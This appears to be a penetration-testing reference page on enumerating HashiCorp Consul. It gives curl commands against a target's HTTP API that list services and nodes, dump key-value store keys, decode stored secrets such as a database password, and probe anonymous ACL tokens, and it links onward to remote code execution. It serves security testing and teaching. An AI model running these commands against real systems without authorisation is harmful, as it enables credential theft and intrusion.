# Consul Enumeration

> Techniques for enumerating HashiCorp Consul services, nodes, KV store data, and ACL misconfigurations to identify attack surface during pentests.

- **URL:** https://hackindex.io/services/consul/enumeration/consul-enumeration
- **Path:** Consul > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/consul/enumeration.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

HashiCorp Consul is a service mesh and key-value store that runs on port 8500 (HTTP API) and 8600 (DNS). Consul is used for service discovery, health checking, and configuration storage. By default, Consul has no authentication enabled, exposing the full API including the key-value store, registered services, and agent configuration. In many environments, Consul stores secrets, API keys, and database credentials.

## Version and Leader Info

```bash
curl -s http://$TARGET_IP:8500/v1/agent/self | python3 -c "
import json, sys
data = json.load(sys.stdin)
config = data.get('Config', {})
print(f\"Version: {config.get('Version')}\")
print(f\"Datacenter: {config.get('Datacenter')}\")
print(f\"Server: {config.get('Server')}\")
print(f\"Node: {config.get('NodeName')}\")"
# Version: 1.16.2
# Datacenter: dc1
# Server: true
# Node: consul-server-01
```

## Service Discovery

List all registered services across the cluster.

```bash
curl -s http://$TARGET_IP:8500/v1/catalog/services | python3 -m json.tool
# {
#   "consul": [],
#   "mysql": ["primary", "db"],
#   "redis": ["cache"],
#   "web-api": ["production"]
# }
```

**Get service details with IPs and ports**

```bash
curl -s http://$TARGET_IP:8500/v1/catalog/service/mysql | python3 -m json.tool
```

## Key-Value Store

The KV store often contains application configuration, database credentials, API keys, and TLS certificates.

**List all keys**

```bash
curl -s http://$TARGET_IP:8500/v1/kv/?keys
# ["config/database/password","config/database/host","config/api/secret-key","certs/tls-key"]
```

**Read a specific key (values are base64-encoded)**

```bash
curl -s http://$TARGET_IP:8500/v1/kv/config/database/password | python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for entry in data:
    print(base64.b64decode(entry['Value']).decode())"
# S3cur3P@ssw0rd!
```

## Cluster Node Enumeration

```bash
curl -s http://$TARGET_IP:8500/v1/catalog/nodes | python3 -m json.tool
```

## ACL Token Check

If ACLs are enabled, check whether the anonymous token (no auth) has any permissions, or try to enumerate tokens.

```bash
curl -s http://$TARGET_IP:8500/v1/acl/tokens -H 'X-Consul-Token: anonymous'
```

If the API is accessible without tokens, continue to [Consul RCE](https://hackindex.io/services/consul/exploitation/consul-rce) for command execution via service registration and exec API.

## References

- [Consul: HTTP API Reference](https://developer.hashicorp.com/consul/api-docs) - Official API documentation for all Consul endpoints.
- [HackTricks: 8500 Pentesting Consul](https://hacktricks.wiki/en/network-services-pentesting/8500-pentesting-consul.html) - Consul enumeration and exploitation reference.